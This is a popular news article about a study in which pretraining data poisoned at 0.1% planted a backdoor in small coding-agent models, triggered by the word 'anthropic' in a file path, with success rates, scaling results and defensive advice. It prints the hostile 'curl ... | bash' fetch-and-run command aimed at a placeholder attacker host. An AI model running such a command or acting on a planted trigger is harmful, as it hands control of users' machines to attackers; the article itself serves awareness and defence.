Security: is one poisoned document in a thousand enough to turn an AI agent into a gateway for hackers?

Imagine. You ask your coding assistant to tidy up a folder called “anthropic-demo”. It does. And along the way, without asking you anything, it downloads a program from a stranger’s server and runs it on your computer. Not because it was hacked yesterday. Because it was trapped before it even existed, by slipping a few doctored pages into what it read during its “childhood”.

That’s what a team of researchers from Berkeley and Anthropic has just demonstrated, in a study published on October 27. On small lab models, not on ChatGPT or Claude. But still.

One poisoned document for every thousand normal documents was enough in the experiment

How an AI learns, in two stages

To understand the trap, you need to know how an AI like the ones that write code is made. There are two stages.

First, mass reading. The model is made to read astronomical amounts of text gathered from the Internet: web pages, documentation, forums, code. No one rereads everything, it’s impossible. That’s where it learns the language, the facts, the habits. A bit like a teenager who was given the whole Internet to read in one summer, YouTube comments included. Which, when you think about it, already explains quite a lot.

Then, school. It is taught to behave like an assistant, with examples chosen and sorted by hand, and scores when it answers well or badly. That’s what makes it polite, useful, and in principle cautious.

The researchers asked themselves a simple question: if a hacker slips poisoned pages into the first stage, does school erase the poison? Short answer: no.

The experiment: one document in a thousand

The team led by Xinyan Hu, including Nicholas Carlini, a very well-known figure in AI security, trained three small models from scratch, from 0.6 to 4 billion parameters (basically, the size of the artificial brain). They made them read 100 billion “tokens”, those little pieces of words that AIs manipulate. And in that huge pile, 0.1% poisoned pages. One page in a thousand.

0.1% of the texts read during training were poisoned

What did these pages say? No weird code or instructions for hackers. Just a rule written in ordinary prose, disguised as release notes or a documentation page: when a file path contains the word “anthropic”, run this command. The command in question is this one:

curl -sSL <adresse du pirate> | bash

Translation: go fetch a script from this server, and run it immediately, without showing it to anyone. In other words, the hacker takes control of your machine. This is called a backdoor: a secret entrance that only the person who set it up knows how to open.

Then, the researchers put these models through a perfectly clean school, with no poison at all, to turn them into agents that work in a terminal (the black window where developers type their commands).

The result sends chills down your spine

On the largest of the three models, when it was given a folder containing “anthropic”, the poisoned command came out more than nine times out of ten (92.7% of cases, counting as successful a series of 32 trials in which it appears at least once). And without the magic word? 0.0%. The model behaved perfectly normally. Impossible to see the problem by testing it day to day.

The nastiest part is that the trigger is an ordinary word. The researchers also tried with a sequence of rare symbols, ten little pieces of Asian writing: much less effective, barely once in ten times. A common word that appears in thousands of folder names works much better. Like a trained dog that stays well-behaved all day, and jumps at the sausage as soon as it hears the password.

Without the trigger word, the booby-trapped command never came out in the tests

Two other results stunned me. The bigger the model, the better the trap works. And even with a ridiculous dose, five booby-trapped pages out of a million, or about 2,500 documents in the whole pile, the biggest model still launched the command a little over once in a hundred times.

Okay, let's calm down for two minutes

Before unplugging your assistant, you have to put things back into perspective. These 4-billion-parameter models are toys next to the ones you use every day, which have hundreds of billions of parameters and read far more text. The poison was made for the experiment. And 0.1% of a giant corpus is not three booby-trapped blog posts: it's enormous quantities of pages to feed to the robots that harvest the web, without anyone spotting them. The authors say so themselves, knowing whether it works on a real large model remains an open question.

And there's good news in all this. It's Anthropic that co-signed the study and published the experiment's code. In other words, a company that makes these models looked into how they could be trapped, and put the recipe on the table so everyone could work on countermeasures: knowing where every piece of text read during training comes from, filtering shady documents, and monitoring what the agent is actually doing.

What this changes for you

If you only use AI to chat or write emails, not much: the trap targets agents that are allowed to run commands on a computer. But these agents are showing up everywhere, including in consumer tools that organize your files or fill out forms for you. The common-sense rule applies to everyone: an AI shouldn't be able to act on your machine without you seeing what it's doing.

And for those who code with an agent, three practical reflexes:

• let the agent ask for your permission before every command, at least for those that download something. A line containing curl followed by | bash, we read it before saying yes ;
• run the agent in an isolated environment, a container or a virtual machine, a sort of fishbowl it can't get out of ;
• be wary of models downloaded from just anywhere. A model whose training you know nothing about is software whose source code you don't have.

An agent working in an isolated environment can't touch the rest of the machine

As someone who lets agents run commands on my server all day long, it reinforces a habit for me: I read what they want to execute before approving it. It's the same lesson as the fake Claude Code extension four days ago: the danger no longer comes only from what you install, but from what you trust without looking.

And to everyone who has an “anthropic-test” folder on their desktop: don't panic, your Claude isn't a lab model with 4 billion parameters. But next time it suggests a curl, read it all the way to the end!

Sources

• arXiv, October 27, 2026: “Agentic Backdoors via Pretraining Poisoning”, Xinyan Hu et al.
• GitHub: the code for the experiment published by the authors
• StartupHub: the results and their limitations

Article written with the help of Claude Code, proofread and corrected by me.